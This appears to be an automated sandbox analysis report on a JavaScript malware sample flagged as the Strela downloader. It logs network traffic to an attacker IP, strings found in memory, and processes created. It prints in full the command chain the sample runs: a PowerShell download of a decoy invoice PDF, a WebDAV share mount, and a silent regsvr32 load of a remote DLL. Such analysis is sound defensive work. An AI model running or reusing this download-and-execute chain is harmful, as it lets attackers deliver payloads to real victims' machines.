6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:56720 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000003.00000003.1283711778.0000029C295CA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.1285895638.0000029C295ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000B.00000002.1350758228.00000260C1A46000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C1A20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C1A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num2?
Source: net.exe, 0000000B.00000002.1350758228.00000260C1A2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: svchost.exe, 0000000D.00000002.2568625410.000001E67EA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.12.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.13.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.12.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000D.00000003.1369393061.000001E67E870000.00000004.00000800.00020000.00000000.sdmp, edb.log.13.dr, qmgr.db.13.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.13.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.9.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4100, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 9839206391373229960.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e4gqs3ip.1eg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9839206391373229960.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1528,i,6318482331063142513,4532046159025709797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1528,i,6318482331063142513,4532046159025709797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
